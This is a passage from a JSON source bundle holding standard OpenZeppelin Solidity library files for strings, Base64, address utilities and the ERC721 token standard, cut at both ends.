}\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
